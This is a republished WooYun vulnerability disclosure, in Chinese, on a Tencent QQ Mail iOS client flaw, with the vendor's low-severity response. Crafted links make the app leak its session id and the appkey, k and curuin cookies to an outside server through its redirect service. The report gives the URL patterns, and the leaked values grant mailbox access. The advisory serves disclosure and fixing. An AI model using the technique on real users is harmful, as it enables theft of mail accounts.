点开我的链接就上了你的QQ mail(非xss)

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-04-27: 细节已通知厂商并且等待厂商处理中
2016-04-28: 厂商已经确认,细节仅向厂商公开
2016-05-08: 细节向核心白帽子及相关领域专家公开
2016-05-18: 细节向普通白帽子公开
2016-05-28: 细节向实习白帽子公开
2016-06-12: 细节向公众公开

简要描述:

点开链接,我就上了你的QQ mail,获取相关权限, 仅限 app,非XSS。

详细说明:

QQ 邮箱客户端版 对于权限控制需要几个参数 (IOS 测试,安卓没环境)

1、sid

2、appkey

3、k

4、curuin



拥有这四个参数即可通过客户端版的api 对邮箱进行收发操作,读取联系人等。



这个漏洞比较鸡肋需要分为两步



一、获取sid



只要构造 超级链接地址 http://www.javarasp.com/cgi-bin/safejmp?action=check_link& 放在内容,在客户端访问该地址的时候,会自动加上sid 去请求,这样一来 ,可在 www.javarasp.com 这个服务器的日志上得到sid值 。



二、获取appkey、k、curuin



app 客户端对于超级链接地址会自动加上qmail的一个跳转, 如 http://url.qmail.com/cgi-bin/safejmp?action=check_link&url=http://www.javarasp.com&, 次链接请求,属于mail的域内,会带上可信的cookie,有appkey、k、curuin。 当此链接请求响应302跳转,转到www.javarasp.com 时,cookie 并没有消失,而是带上cookie 请求了 www.javarasp.com 这个地址。





结合两个链接信息泄漏,可获取qq mail app 的相关权限。

漏洞证明:

app 请求抓包截图





11111.png





22222.png







3333.png



修复方案:

跳转的时候控制cookie

版权声明:转载请注明来源 he1renyagao@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2016-04-28 10:30

厂商回复:

非常感谢您的报告,此问题已着手处理,由于有一定限制故评级为低。感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。

百度收录:百度已收录『查看详情』

本文链接:点开我的链接就上了你的QQ mail(非xss) - https://www.15qq.cn/wooyun/777.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知